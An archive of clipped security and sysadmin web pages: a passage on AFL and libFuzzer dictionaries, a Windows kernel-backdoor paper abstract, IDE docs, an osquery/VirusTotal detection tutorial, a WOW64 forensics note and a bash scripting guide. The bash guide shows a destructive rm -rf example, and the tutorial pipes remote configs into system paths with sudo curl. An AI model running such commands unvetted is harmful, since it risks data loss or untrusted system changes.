You have your corpus, and you’re happily fuzzing and trimming. Where do you go
from here?

Both AFL and libFuzzer support user-provided dictionaries. These dictionaries
should contain keywords, or other interesting byte patterns, that would be
hard for the fuzzer to determine. For some useful examples, take a look at
Google libFuzzer’s XML dictionary and this AFL blog post about dictionaries.

Since these tools are quite popular nowadays, some good base dictionaries can
be already found online. For example, Google has collected quite a few
dictionaries:
https://chromium.googlesource.com/chromium/src/+/master/testing/libfuzzer/fuzzers/dicts.
Also, AFL source code contains few example dictionaries. If you don’t have the
source code, you can check out afl mirror from github:
https://github.com/rc0r/afl-fuzz/tree/master/dictionaries

Both AFL and libFuzzer also collect dictionary during execution. AFL collects
dictionary when performing deterministic fuzzing steps, while libFuzzer
approach is to instrument.

When running libFuzzer with time or test case limit, libFuzzer will output a
recommended dictionary upon exit. This feature can be used to collect
interesting dictionary entries, but it is recommended to do manual sanity
checks over all automatically collected entries. libFuzzer builds those
dictionary entries as it discovers new coverage, so those entries often build
up towards the final keyword.

[code]       1. "ISO-"

      2. "ISO-1"
      3. "ISO-10"
      4. "ISO-1064"
      5. "ISO-10646-"
      6. "ISO-10646-UCS-2"
      7. "ISO-10646-UCS-4"
    
    
[/code]

We tested dictionaries with three 10 minute runs: without dictionary, with the
recommended dictionary from first run and with the Google’s libFuzzer XML
dictionary. Results can be seen from the table below.

<img src='img/libfuzzer-dict.png' width='1024' height='103' />

Surprisingly, there was no significant difference between the results from the
run without dictionary and the run with recommended dictionary from the first
run, but with a “real” dictionary there is a dramatic change in the amount of
coverage discovered during the run.

Dictionaries can really change the effectiveness of fuzzing, at least on short
runs, so they are worth the investment. Shortcuts, like the libFuzzer
recommended dictionary, can help, but you still need to do the extra manual
effort to leverage the potential in dictionaries.

## Fuzzing experiment

Our goal was to do a weekend long run on a couple of laptops. We ran two
instances of AFL and libFuzzer, fuzzing the above example. The first instance
was started without any corpus, and the second one with trimmed corpus from
W3C XML Test Suite. The results could then be compared by performing a dry run
for minimized corpus from all four sets. Results from these fuzzers are not
directly comparable since both fuzzers use different instrumentation to detect
executed code paths and features. libFuzzer measures two things for assessing
new sample coverage, **block coverage** , that is isolated blocks of code
visited, the and **feature** **coverage** , that is a combination of different
code path features like transitions between code blocks and hit counts. AFL
doesn’t offer direct count for the observed coverage, but we use overall
coverage map density in our comparisons. The map density indicates how many
branch tuples we have hit, in proportion to how many tuples the coverage map
can hold.

Our first run didn’t go quite as expected. After 2 days and 7 hours we were
reminded about the downsides of using deterministic fuzzing on large files.
Our  _afl-cmin_ minimized corpus contained a couple of over 100kB samples that
caused AFL to slow down to crawl after processing only under 38% of the first
round. It would have taken days for AFL to get through a single file, and we
had four of those in our sample set, so we decided to restart instances, after
we removed all over 10kB samples. Sadly, on Sunday night at 11PM, “backup
first” wasn’t the first thing in our mind and the AFL plot data was
accidentally overwritten, so no cool plots from the first round. We managed to
save the AFL UI before aborting.

<img src='img/afl-ui.png' width='867' height='554' />

Full results of our 2 day fuzzing campaign can be found from the image/table
below.

<img src='img/2d-results.png' width='1024' height='148' />

We had actually never tried to pit these fuzzers against each other before.
Both fuzzers were surprisingly even in our experiment. Starting from the W3C
samples, the difference between discovered coverage, as measured by libFuzzer,
was only 1.4%. Also both fuzzers found pretty much the same coverage. When we
merged all the collected files from the four runs, and the original W3C
samples, the combined coverage was only 1.5% higher than the coverage
discovered by libFuzzer alone. Another notable thing is that without initial
samples, even after 2 days, neither libFuzzer or AFL had discovered more
coverage than our previous demonstration in generating a corpus out of thin
air did repeatedly in 10 minutes.

We also generated a chart from coverage discovery during libFuzzer fuzzing run
with the the W3C samples.

<img src='img/libfuzzer-coverage-vs-execs.png' width='1082' height='775' />

## Which one should I use?

As we detailed, AFL is really simple to use, and can be started with virtually
no setup. AFL takes care of handling found crashes and stuff like that.
However, if you don’t have a ready command line tool like xmllint, and would
need to write some code to enable fuzzing, it often makes sense to use
libFuzzer for superior performance.

In comparison to AFL, libFuzzer has built-in support for sanitizers, such as
AddressSanitizer and UndefinedBehaviorSanitizer, which help in finding subtle
bugs during fuzzing. AFL has some support for sanitizers, but depending on
your target there might be some serious side effects. AFL documentation
suggests on running fuzzing without sanitizers and running the output queue
separately with sanitizer build, but there is no actual data available to
determine whether that technique can catch the same issues as ASAN enabled
fuzzing. For more info about AFL and ASAN you can check
docs/notes\_for\_asan.txt from the AFL sources.

In many cases however it makes sense to run both fuzzers, as their fuzzing,
crash detection and coverage strategies are slightly different.

If you end up using libFuzzer, you really should check the Google’s great
libFuzzer tutorial.

Happy fuzzing\!  
Atte & Eero

**Tags:**

  * \#Code
  * \#Fuzzing
  * \#Th3 Cyb3r
  * \#Vulnerability Assessments

  

# Uninformed - vol 8 article 2

**Created:**| _6/25/2009 3:31:55 PM_  
---|---  
**Updated:**| _6/25/2009 3:32:02 PM_  
**Author:**| __  
**Tags:**| _windows security Exploit_  
  
A Catalog of Windows Local Kernel-mode Backdoors  
skape & Skywing  
This paper presents a detailed catalog of techniques that can be used to
create local kernel-mode backdoors on Windows. These techniques include
function trampolines, descriptor table hooks, model-specific register hooks,
page table modifications, as well as others that have not previously been
described. The majority of these techniques have been publicly known far in
advance of this paper. However, at the time of this writing, there appears to
be no detailed single point of reference for many of them. The intention of
this paper is to provide a solid understanding on the subject of local kernel-
mode backdoors. This understanding is necessary in order to encourage the
thoughtful discussion of potential countermeasures and perceived advancements.
In the vein of countermeasures, some additional thoughts are given to the
common misconception that PatchGuard, in its current design, can be used to
prevent kernel-mode rootkits.  

html | pdf | txt

# Command Line Usage - Wingware Python IDE

**Created:**| _5/19/2009 7:34:23 PM_  
---|---  
**Updated:**| _5/19/2009 7:34:29 PM_  
**Author:**| __  
**Tags:**| _python_  
  

# 1.13. Command Line Usage

Whenever you run `wing3.1` from the command line, you may specify a list of
files to open. These can be arbitrary text files and a project file. For
example, the following will open project file `myproject.wpr` and also the
three source files `mysource.py`, `README`, and `Makefile`:

[code]

    wing3.1 mysource.py README Makefile myproject.wpr  
    
    
[/code]

\(on Windows, the executable is called `wing.exe`\)

Wing determines file type by extension, so position of the project file name
\(if any\) on the command line is not important. A line number may be
specified for the first file on the command line by appending `:<line-number>`
to the file name \(for example, `README:100` will position the cursor at the
start of the README file\).

The following valid options may be specified anywhere on the command line:

**\--prefs-file** \-- Add the file name following this argument to the list of
preferences files that are opened by the IDE. These files are opened after the
system-wide and default user preferences files, so values in them override
those given in other preferences files. Note that preferences files added this
way must have all the preferences in a section delimited by `[extra-
preferences]` \(unlike the main user preferences file, which uses `[user-
preferences]`\).

**\--new** \-- By default Wing will reuse an existing running instance of Wing
IDE to open files specified on the command line. This option turns off this
behavior and forces creation of a new instance of Wing IDE. Note that a new
instance is always created if no files are given on the command line.

**\--reuse** \-- Force Wing to reuse an existing running instance of Wing IDE
even if there are no file names given on the command line. This just brings
Wing to the front.

**\--system-gtk** \--  _\(Posix only\)_ This option causes Wing to try to use
the system-wide install of GTK2 rather than its own version of GTK, regardless
of any preference setting. Running in this mode will cause Wing to pick up on
system-wide theme defaults, but may result in crashing or display problems due
to incompatibilities in GTK and related libraries.

**\--private-gtk** \--  _\(Posix only\)_ This option causes Wing to use its
private copy of GTK2 and related libraries, regardless of any preference
settings. Use of private GTK may result in Wing not matching the system-wide
theme, but also will avoid incompatibilities with the system-wide GTK library.

**\--verbose** \--  _\(Posix only\)_ This option causes Wing to print verbose
error reporting output to `stderr`. On Windows, run `console_wing.exe` instead
for the same result.

**\--display** \--  _\(Posix only\)_ Sets the X Windows display for Wing to
run with. The display specification should follow this argument, in standard
format, e.g. `myhost:0.0`.

**\--use-winghome** \--  _\(For developers only\)_ This option sets WINGHOME
to be used during this run. It is used internally and by developers
contributing to Wing IDE. The directory to use follows this argument.

**\--use-src** \--  _\(For developers only\)_ This option is used to force
Wing to run from Python source files even if compiled files are present in the
`bin`directory, as is the case after a distribution has been built.

**\--orig-python-path** \--  _\(For developers only\)_ This option is used
internally to indicate the original Python path in use by the user before Wing
was launched. The path follows this argument.

**\--squelch-output** \--  _\(For developers only\)_ This option prevents any
output of any kind to `stdout` and `stderr`. Used on Windows to avoid console
creation.

# Detecting malicious downloads with Osquery, Rsyslog, Kafka, Python3, and VirusTotal | HoldMyBeer
**Created:**| _5/10/2019 8:25:22 AM_  
---|---  
**Updated:**| _5/10/2019 8:25:22 AM_  
**Author:**| __  
**Tags:**| _siem osquery threat-hunting_  
  

  

<img src='img/Screen-Shot-2019-04-24-at-8.08.59-PM-300x199.png' width='470'
height='312' />

This blog post will explore how to set up a simple logging pipeline to detect
maliciously downloaded files. This setup will utilize technologies such as
Osquery, Rsyslog, Kafka, Docker, Python3, and VirusTotal for a logging
pipeline. If this pipeline detects a malicious file, a Slack alert will be
triggered.

# Abstract

First, Osquery will monitor file system events for newly created files.
Rsyslog client on a macOS endpoint will ship logs to a Rsyslog server. The
Rsyslog server will forward the logs to Kafka, and then Kafka will place the
logs into a topic to be consumed by our Dockerized Python application. The
Python application will extract the file hash from Osquery file events. These
hashes will be submitted to VirusTotal for analysis. If VirusTotal reports
that the file is malicious, a Slack alert will be triggered.

# Goals

  * Detect malicious downloads with Osquery and VirusTotal
  * Osquery configs
  * Learning to use Kafka with Python
  * Learn how to leverage VirusTotal to detect malicious files
  * Deploying Kafka and Rsyslog server on Docker

# Assumptions

This blog post is written to be a proof of concept and not a comprehensive
post. This post will **NOT** cover how Osquery, Kafka, or how Docker works,
and this post assumes you know how these technologies work. Second, this blog
post contains setups and configs that may **NOT** be production ready. The
“future improvements” section discusses various improvements for this
implementation.

# Assumption

# Background

## What is osquery?

Osquery exposes an operating system as a high-performance relational database.
This allows you to write SQL-based queries to explore operating system data.
With Osquery, SQL tables represent abstract concepts such as running
processes, loaded kernel modules, open network connections, browser plugins,
hardware events or file hashes.

## What is Rsyslog?

Rsyslog is a rocket-fast system for log processing. It offers high-
performance, great security features and a modular design. While it started as
a regular syslogd, rsyslog has evolved into a kind of swiss army knife of
logging, being able to accept inputs from a wide variety of sources, transform
them, and output to the results to diverse destinations.

Rsyslog can deliver over one million messages per second to local destinations
when limited processing is applied \(based on v7, December 2013\). Even with
remote destinations and more elaborate processing the performance is usually
considered “stunning”.

## What is Kafka?

Apache Kafka is a community distributed event streaming platform capable of
handling trillions of events a day. Initially conceived as a messaging queue,
Kafka is based on an abstraction of a distributed commit log. Since being
created and open sourced by LinkedIn in 2011, Kafka has quickly evolved from
messaging queue to a full-fledged event streaming platform.

## What is VirusTotal?

VirusTotal inspects items with over 70 antivirus scanners and URL/domain
blacklisting services, in addition to a myriad of tools to extract signals
from the studied content. Any user can select a file from their computer using
their browser and send it to VirusTotal. VirusTotal offers a number of file
submission methods, including the primary public web interface, desktop
uploaders, browser extensions, and a programmatic API. The web interface has
the highest scanning priority among the publicly available submission methods.
Submissions may be scripted in any programming language using the HTTP-based
public API.

# Network diagram

<img src='img/Screen-Shot-2019-04-24-at-12.34.28-AM-768x503.png' width='807'
height='527' />

# Obtain VirusTotal API key

  1. Browse to https://www.virustotal.com/\#/home/upload and create an account
  2. Login into your new account
  3. Select your profile icon in the top right then select “Settings”
  4. Select “API key” on the left<img src='img/Screen-Shot-2019-04-24-at-12.42.51-AM-300x126.png' width='300' height='126' />
    1. Copy this API key for later use

# Setup Kafka + Rsyslog with Docker

## Kafka

### Create DNS A record for Kafka

Kafka needs to register itself to a static IP address **OR** a fully qualified
domain name \(FQDN – test.google.com\). Therefore, you will need to create a
DNS A record on your local DNS server that points at the Docker host.

This blog post will **NOT** cover how to set up a DNS A record because each
person’s DNS setup is different. However, I have posted a photo below of a DNS
record for my Kafka container on my FreeIPA server. Within my home lab
environment, I have two domains, hackinglab.local is used for development. I
created an FQDN for kafka-test.hackinglab.local pointed at the IP address of
192.168.1.130 which is my Docker host.

<img src='img/Screen-Shot-2019-04-15-at-7.17.49-PM-300x112.png' width='300'
height='112' />

### Configure Kafka

To keep this blog post short and targeted we will setup Kafka using Docker.
This post assumes you know what Kafka is and how to operate it. If you are
unfamiliar with Kafka, please take a look at these blog posts: Apache Kafka
Tutorial — Kafka For Beginners, Thorough Introduction to Apache Kafka, and How
to easily run Kafka with Docker for Development.

  1. sed -i '' "s/KAFKA\_ADVERTISED\_HOST\_NAME: kafka-test.hackinglab.local/KAFKA\_ADVERTISED\_HOST\_NAME: <FQDN for Kafka>/g" docker-compose.yml<img src='img/Screen-Shot-2019-04-15-at-7.27.45-PM-300x14.png' width='493' height='23' />  
<img src='img/Screen-Shot-2019-04-15-at-7.27.09-PM-300x99.png' width='300'
height='99' />

## Rsyslog server

### Create DNS A record for Rsyslog server

I have posted a photo below of a DNS record for my Rsyslog server container on
my FreeIPA server. This FQDN will allow Rsyslog clients to send their logs to
the Rsyslog server. Lastly, the FQDN rsyslog.hackinglab.local is pointed at
the IP address of 192.168.1.130 which is my Docker host.

<img src='img/Screen-Shot-2019-04-24-at-12.58.28-AM-300x188.png' width='300'
height='188' />

### Configure Rsyslog

  1. sed -i 's\#broker=\["kafka-test.hackinglab.local:9092"\]\#broker=\["<FQDN of Kafka>:9092"\]\#g' conf/rsyslog-server/31-kafka-output.conf

## Spin up Docker stack

  1. docker-compose up -d<img src='img/Screen-Shot-2019-04-16-at-5.57.18-PM-768x220.png' width='586' height='168' />
  2. docker stats

<img src='img/Screen-Shot-2019-04-15-at-7.47.13-PM-768x41.png' width='619'
height='33' />

## Test Kafka

  1. brew install ipython
  2. pip3 install kafka-python
  3. ipython
    1. from kafka import KafkaConsumer
    2. consumer = KafkaConsumer\('osquery', bootstrap\_servers=\['<Kafka FQDN>:9092'\], value\_deserializer=lambda x: loads\(x.decode\('utf-8'\)\)\)
    3. consumer.topic\(\)<img src='img/Screen-Shot-2019-04-15-at-8.19.19-PM-300x39.png' width='538' height='70' />
      1. Ignore port 9098

# Install/Setup osquery on MacOS

## Install/Setup osquery on MacOS

  1. Open a browser
  2. Browse to https://osquery.io/downloads/official/3.3.2
  3. Download the latest osquery installer
  4. Install osquery<img src='img/Screen-Shot-2019-04-15-at-8.36.37-PM-300x216.png' width='300' height='216' />
  5. sudo curl https://raw.githubusercontent.com/CptOfEvilMinions/BlogProjects/master/osquery\_kafka\_rsyslog/conf/osquery/osquery.conf -o /var/osquery/osquery.conf
  6. sudo curl https://raw.githubusercontent.com/CptOfEvilMinions/BlogProjects/master/osquery\_kafka\_rsyslog/conf/osquery/osquery.flags -o /var/osquery/osquery.flags
  7. sudo cp /var/osquery/com.facebook.osqueryd.plist /Library/LaunchDaemons/com.facebook.osqueryd.plist
  8. sudo launchctl load /Library/LaunchDaemons/com.facebook.osqueryd.plist<img src='img/Screen-Shot-2019-04-15-at-9.06.02-PM-768x53.png' width='557' height='39' />

## Install/Setup Rsylog client on MacOS

  1. brew install rsyslog<img src='img/Screen-Shot-2019-04-23-at-9.23.56-PM-300x91.png' width='300' height='91' />
  2. sudo curl https://raw.githubusercontent.com/CptOfEvilMinions/BlogProjects/master/osquery\_kafka\_rsyslog/conf/rsyslog-client/rsyslog.conf -o /usr/local/etc/rsyslog.conf
  3. sudo mkdir /etc/rsyslog.d
  4. sudo curl https://raw.githubusercontent.com/CptOfEvilMinions/BlogProjects/master/osquery\_kafka\_rsyslog/conf/rsyslog-client/30-osquery.conf -o /etc/rsyslog.d/30-osquery.conf
    1. sed -i 's\#Target="rsyslog.hackinglab.local"\#Target="<FQDN of Rsyslog server>"\#g' /etc/rsyslog.d/30-osquery.conf
  5. sudo brew services start rsyslog<img src='img/Screen-Shot-2019-04-23-at-11.59.02-PM-300x48.png' width='513' height='82' />

## Test osquery config

  1. Open browser
  2. Browse to https://www.mozilla.org/en-US/firefox/new/ or any downloading website
  3. Download a file
  4. tail -f /var/log/osqueryd.results.log
    1. May take up to 5 minutes<img src='img/Screen-Shot-2019-04-16-at-12.15.39-AM-300x203.png' width='300' height='203' />

# Pull events from Kafka with kafka-python

  1. brew install ipython
  2. pip3 install kafka-python
  3. ipython
  4.     1. from kafka import KafkaConsumer
    2. from json import loads
    3.     4. consumer = KafkaConsumer\('osquery', bootstrap\_servers=\['<FQDN of Kafka>:9092'\], value\_deserializer=lambda x: loads\(x.decode\('utf-8'\)\)\)
    5.     6. for message in consumer:
    7. message = message.value
    8. print \(message\)
<img src='img/Screen-Shot-2019-04-16-at-5.55.15-PM-768x110.png' width='670'
height='96' />

  5. Result<img src='img/Screen-Shot-2019-04-24-at-12.16.16-AM-768x47.png' width='600' height='36' />

# Spin up Python app with Docker

## Config.yaml

  1. cp app/config/config.yml vim app/config/config.yml.example
  2. vim app/config/config.yml and set: 
    1. Kafka 
      1. hostname – Set to the FQDN of Kafka
      2. port – Set to the port of Kafka
      3. topic – Can leave as default
    2. Virustotal 
      1. api\_key – Set API key
      2. threshold – When to generate a Slack alert on a file 
        1. The threshold is from 0-1.0 which is positive hits on file/total scanners
    3. Slack 
      1. webhook\_url – URL to send messages too
    4. save and exit<img src='img/Screen-Shot-2019-04-16-at-7.55.39-PM-300x147.png' width='443' height='217' />

## Spin up app

  1. docker-compose -f docker-compose-app.yml up -d<img src='img/Screen-Shot-2019-04-24-at-1.25.02-AM-768x148.png' width='636' height='123' />

## Testing setup

### Benign file

  1. Open browser
  2. Browse to https://www.mozilla.org/en-US/firefox/new/ or any downloading website
  3. Download a **NON-malicious** file
  4. Kafka-python result<img src='img/Screen-Shot-2019-04-24-at-12.23.03-AM-768x41.png' width='694' height='37' />
  5. App result<img src='img/Screen-Shot-2019-04-24-at-1.34.11-AM-768x28.png' width='655' height='24' />

### Malicious file

  1. Open browser
  2. **Link to DOWNLOAD MALICIOUS FILE**<img src='img/Screen-Shot-2019-04-16-at-8.06.18-PM-300x72.png' width='442' height='106' />
  3. Kafka-python result<img src='img/Screen-Shot-2019-04-24-at-12.51.11-AM-768x63.png' width='756' height='63' />
  4. App result<img src='img/Screen-Shot-2019-04-24-at-12.51.35-AM-768x28.png' width='791' height='29' />
  5. Slack result<img src='img/Screen-Shot-2019-04-24-at-12.51.52-AM-768x63.png' width='612' height='51' />

# Future improvements

## Osquery detection

This proof of concept\(PoC\) only monitors the User’s download folder. In an
enterprise environment, I would recommend monitoring the user’s e-mail
directory for e-mail attachments and potentially the user’s entire home
folder. However, this type of monitoring will generate **A LOT** of noise. I
would also recommend generating a list of file types you would like to monitor
for such as: .dmg, .docx, .pkg, .xlsx, and etc.

## Osquery is detection, not prevention

  1. "schedule": \{
  2. "file\_events": \{
  3. "query": "SELECT \* FROM file\_events WHERE action=='CREATED' AND \( target\_path NOT like '/Users/%/Downloads/Unconfirmed%' AND target\_path NOT like '/Users/%/Downloads/.com.google%'\);",
  4. "removed": false,
  5. "interval": 300
  6. \}

This code segment was taken from osquery.conf. The file\_events query is set
to run every 300 seconds \(once every 5 minutes\). This means it will review
the kernel’s file events every 300 seconds looking for events that match our
query. Because of this, you will always be 5 minutes behind detecting a
malicious download. Secondly, Osquery is a detection tool and **NOT** a
prevention tool. Therefore, if this pipeline detects a malicious file, it will
**NOT** delete the file, nor will it stop the user from interacting with it.

## Osquery file carving

A great feature to add to this Python app would be a trigger to initiate an
Osquery file carving event. File carving is when you instruct Osquery to zip
up a file on an endpoint and send the zip to a server. This would reduce the
incident response team having to manually do this and hopefully we can obtain
the malicious download before the user/malware deletes it.

# References

  * USING THE OSQUERY CARVER TO PULL FILES
  * Github – Osquery: Filesystem hash data results
  * imudp: UDP Syslog Input Module
  * Github – wurstmeister/kafka-docker
  * Kafka-Python explained in 10 lines of code
  * osquery – Install on OS X
  * osquery – kafka

# The WOW-Effect - CERT.at

**Created:**| _4/7/2012 11:12:01 AM_  
---|---  
**Updated:**| _4/7/2012 11:12:01 AM_  
**Author:**| __  
**Tags:**| _reversing x86 windows environment x64 calling convention_  
  

# The WOW-Effect

2011/11/30

A paper about how Microsoft's WOW64 technology unintentionally fools IT-
Security analysts.

* * *
Download

## Publication Date

November, 30th 2011

## Author

Christian Wojner

## Language

English

## History

You can download the full document in pdf format here.

* * *
## Content

The 64-bit version of Microsoft Windows includes file-system virtualization
features to run 32-bit programs. File access is transparently redirected to
other directories in certain cases.

This feature can easily fool an analyst looking at a running system and can
have a massive impact on infection-driven forensics, malware analysis and
comparable investigations.

In the worst case this can lead to an entirely wrong interpretation of a
case/situation.

While this issue is not entirely new, it is necessary to raise the IT-Security
community's awareness, as some of the common tools and procedures in use need
to be adapted in the presence of the files system redirector.

# Writing Robust Bash Shell Scripts - David Pashley.com

**Created:**| _9/21/2015 1:40:08 PM_  
---|---  
**Updated:**| _9/23/2015 6:18:21 PM_  
**Author:**| __  
**Tags:**| __  
  
  

  * HomeArticles
  *     * Dial On Demand with WVDialWriting Robust Bash Shell ScriptsPostgreSQL User AdministrationNetwork TroubleshootingBecoming a X.509 Certificate AuthorityAutomatic Proxy Configuration with WPADLDAP BasicsBash Prompts

David Pashley.com

Writing Robust Bash Shell Scripts

Many people hack together shell scripts quickly to do simple tasks, but these
soon take on a life of their own. Unfortunately shell scripts are full of
subtle effects which result in scripts failing in unusual ways. It’s possible
to write scripts which minimise these problems. In this article, I explain
several techniques for writing robust bash scripts.

## Use set -u

How often have you written a script that broke because a variable wasn’t set?
I know I have, many times.

[code]

    chroot=$1
    ...
    rm -rf $chroot/usr/share/doc
[/code]

If you ran the script above and accidentally forgot to give a parameter, you
would have just deleted all of your system documentation rather than making a
smaller chroot. So what can you do about it? Fortunately bash provides you
with `set -u`, which will exit your script if you try to use an uninitialised
variable. You can also use the slightly more readable `set -o nounset`.

[code]

    david% bash /tmp/shrink-chroot.sh
    $chroot=
    david% bash -u /tmp/shrink-chroot.sh
    /tmp/shrink-chroot.sh: line 3: $1: unbound variable
    david%
[/code]

## Use set -e

Every script you write should include `set -e` at the top. This tells bash
that it should exit the script if any statement returns a non-true return
value. The benefit of using -e is that it prevents errors snowballing into
serious issues when they could have been caught earlier. Again, for
readability you may want to use `set -o errexit`.

Using -e gives you error checking for free. If you forget to check something,
bash will do it or you. Unfortunately it means you can’t check $? as bash will
never get to the checking code if it isn’t zero. There are other constructs
you could use:

[code]

    command
    if [ "$?"-ne 0]; then echo "command failed"; exit 1; fi
[/code]

could be replaced with

[code]

    command || { echo "command failed"; exit 1; }
[/code]

or

[code]

    if ! command; then echo "command failed"; exit 1; fi
[/code]

What if you have a command that returns non-zero or you are not interested in
its return value? You can use `command || true`, or if you have a longer
section of code, you can turn off the error checking, but I recommend you use
this sparingly.

[code]

    set +e
    command1
    command2
    set -e
[/code]

On a slightly related note, by default bash takes the error status of the last item in a pipeline, which may not be what you want. For example, `false | true` will be considered to have succeeded. If you would like this to fail, then you can use `set -o pipefail` to make it fail.
## Program defensively – expect the unexpected

Your script should take into account of the unexpected, like files missing or
directories not being created. There are several things you can do to prevent
errors in these situations. For example, when you create a directory, if the
parent directory doesn’t exist, **m kdir** will return an error. If you add
a `-p` option then **m kdir** will create all the parent directories before
creating the requested directory. Another example is **r m**. If you ask rm to
delete a non-existent file, it will complain and your script will terminate.
\(You are using -e, right?\) You can fix this by using `-f`, which will
silently continue if the file didn’t exist.

## Be prepared for spaces in filenames

Someone will always use spaces in filenames or command line arguments and you
should keep this in mind when writing shell scripts. In particular you should
use quotes around variables.

[code]

    if [ $filename = "foo" ];
[/code]

will fail if $filename contains a space. This can be fixed by using:

[code]

    if [ "$filename" = "foo" ];
[/code]

When using $@ variable, you should always quote it or any arguments containing
a space will be expanded in to separate words.

[code]

    david% foo() { for i in $@; do printf "%s\n" "$i"; done }; foo bar "baz quux"
    bar
    baz
    quux
    david% foo() { for i in "$@"; do printf "%s\n" "$i"; done }; foo bar "baz quux"
    bar
    baz quux
[/code]

I can not think of a single place where you shouldn’t use “$@” over $@, so
when in doubt, use quotes.

If you use **f ind** and **x args** together, you should use `-print0` to
separate filenames with a null character rather than new lines. You then need
to use `-0` with xargs.

[code]

    david% touch "foo bar"
    david% find | xargs ls
    ls: ./foo: No such file or directory
    ls: bar: No such file or directory
    david% find -print0 | xargs -0 ls
    ./foo bar
[/code]

## Setting traps

Often you write scripts which fail and leave the filesystem in an inconsistent
state; things like lock files, temporary files or you’ve updated one file and
there is an error updating the next file. It would be nice if you could fix
these problems, either by deleting the lock files or by rolling back to a
known good state when your script suffers a problem. Fortunately bash provides
a way to run a command or function when it receives a unix signal using
the **t rap **command.

[code]

    trap command signal [signal ...]
[/code]

There are many signals you can trap \(you can get a list of them by
running **k ill -l**\), but for cleaning up after problems there are only 3 we
are interested in: `INT`, `TERM` and `EXIT`. You can also reset traps back to
their default by using `-` as the command.

 Signal| Description  
---|---  
`INT`| Interrupt – This signal is sent when someone kills the script by
pressing ctrl-c.  
`TERM`| Terminate – this signal is sent when someone sends the TERM signal
using the kill command.  
`EXIT`| Exit – this is a pseudo-signal and is triggered when your script
exits, either through reaching the end of the script, an exit command or by a
command failing when using`set -e`.  
Usually, when you write something using a lock file you would use something
like:

[code]

    if [ ! -e $lockfile ]; then
       touch $lockfile
       critical-section
       rm $lockfile
    else
       echo "critical-section is already running"
    fi
[/code]

What happens if someone kills your script while `critical-section` is running?
The lockfile will be left there and your script won’t run again until it’s
been deleted. The fix is to use:

[code]

    if [ ! -e $lockfile ]; then
       trap "rm -f $lockfile; exit" INT TERM EXIT
       touch $lockfile
       critical-section
       rm $lockfile
       trap - INT TERM EXIT
    else
       echo "critical-section is already running"
    fi
[/code]

Now when you kill the script it will delete the lock file too. Notice that we
explicitly exit from the script at the end of trap command, otherwise the
script will resume from the point that the signal was received.

## Race conditions

It’s worth pointing out that there is a slight race condition in the above
lock example between the time we test for the lockfile and the time we create
it. A possible solution to this is to use IO redirection and bash’s noclobber
mode, which won’t redirect to an existing file. We can use something similar
to:

[code]

    if ( set -o noclobber; echo "$$" > "$lockfile") 2> /dev/null; 
    then
       trap 'rm -f "$lockfile"; exit $?' INT TERM EXIT
    
       critical-section
    
       rm -f "$lockfile"
       trap - INT TERM EXIT
    else
       echo "Failed to acquire lockfile: $lockfile." 
       echo "Held by $(cat $lockfile)"
    fi
[/code]

A slightly more complicated problem is where you need to update a bunch of
files and need the script to fail gracefully if there is a problem in the
middle of the update. You want to be certain that something either happened
correctly or that it appears as though it didn’t happen at all.Say you had a
script to add users.

[code]

    add_to_passwd $user
    cp -a /etc/skel /home/$user
    chown $user /home/$user -R
[/code]

There could be problems if you ran out of diskspace or someone killed the
process. In this case you’d want the user to not exist and all their files to
be removed.

[code]

    rollback() {
       del_from_passwd $user
       if [ -e /home/$user ]; then
          rm -rf /home/$user
       fi
       exit
    }
    
    trap rollback INT TERM EXIT
    add_to_passwd $user
    cp -a /etc/skel /home/$user
    chown $user /home/$user -R
    trap - INT TERM EXIT
[/code]

We needed to remove the trap at the end or the **r ollback** function would
have been called as we exited, undoing all the script’s hard work.

## Be atomic

Sometimes you need to update a bunch of files in a directory at once, say you
need to rewrite urls form one host to another on your website. You might
write:

[code]

    for file in $(find /var/www -type f -name "*.html"); do
       perl -pi -e 's/www.example.net/www.example.com/' $file
    done
[/code]

Now if there is a problem with the script you could have half the site
referring to www.example.com and the rest referring to www.example.net. You
could fix this using a backup and a trap, but you also have the problem that
the site will be inconsistent during the upgrade too.

The solution to this is to make the changes an \(almost\) atomic operation. To
do this make a copy of the data, make the changes in the copy, move the
original out of the way and then move the copy back into place. You need to
make sure that both the old and the new directories are moved to locations
that are on the same partition so you can take advantage of the property of
most unix filesystems that moving directories is very fast, as they only have
to update the inode for that directory.

[code]

    cp -a /var/www /var/www-tmp
    for file in $(find /var/www-tmp -type f -name "*.html"); do
       perl -pi -e 's/www.example.net/www.example.com/' $file
    done
    mv /var/www /var/www-old
    mv /var/www-tmp /var/www
[/code]

This means that if there is a problem with the update, the live system is not
affected. Also the time where it is affected is reduced to the time between
the two **m v**s, which should be very minimal, as the filesystem just has to
change two entries in the inodes rather than copying all the data around.

The disadvantage of this technique is that you need to use twice as much disk
space and that any process that keeps files open for a long time will still
have the old files open and not the new ones, so you would have to restart
those processes if this is the case. In our example this isn’t a problem as
apache opens the files every request. You can check for files with files open
by using **l sof**. An advantage is that you now have a backup before you made
your changes in case you need to revert.

45 comments

## 45 thoughts on “Writing Robust Bash Shell Scripts”

  1. <img src='img/1a524c04b46e9c51e76b68c605f2d8ea.jpg' width='30' height='30' /> **J ordi** says:
July 10, 2013 at 2:40 pm

Very interesting post. Thanks for posting it.

Reply

  2. <img src='img/cee2441ba1a36804b932b265c8511281.jpg' width='30' height='30' /> **d j** says:
July 10, 2013 at 11:27 pm

Got here from “http://fvue.nl/wiki/Bash:\_Error\_handling”.

Regarding “chroot=$1″, you could also do some parameter expansion like:

chroot=”$\{1:?Missing Input\}”

Great article on file names and spaces and other characters here:  
“http://www.dwheeler.com/essays/fixing-unix-linux-filenames.html”

Reply

  3. <img src='img/57d07fa82584b144bd20686f4b45daf9.jpg' width='30' height='30' /> **M r Roos** says:
July 13, 2013 at 5:22 pm

Very intressting, I’ve lerned a lot by reading this. Thanks for the many fine
code examples as well. Keep up the good work.

Reply

  4. <img src='img/57d07fa82584b144bd20686f4b45daf9.jpg' width='30' height='30' /> **m ike** says:
August 4, 2013 at 6:19 pm

“need to use twice as much disk space”? No more the case, with btrfs + either
cp –reflink or btrfs subvolume snapshot.

Reply

  5. <img src='img/331e9cb514212729b45bb6388ee2d71b.jpg' width='30' height='30' /> **T oby** says:
September 1, 2013 at 8:10 pm

This is hands-down the most useful thing I’ve read all week.

Reply

  6. <img src='img/a93c419e563a3b3a83754c3f1f36f8b0.png' width='30' height='30' /> **E dwin Pujols** says:
October 1, 2013 at 7:50 pm

Thanks for the info <img src='img/Temp2_9944.jpg' width='16' height='16'
alt=':-)' />

Reply

  7. <img src='img/3cfce21d5697832868e053f62366af56.jpg' width='30' height='30' /> **F rode** says:
October 13, 2013 at 11:42 pm

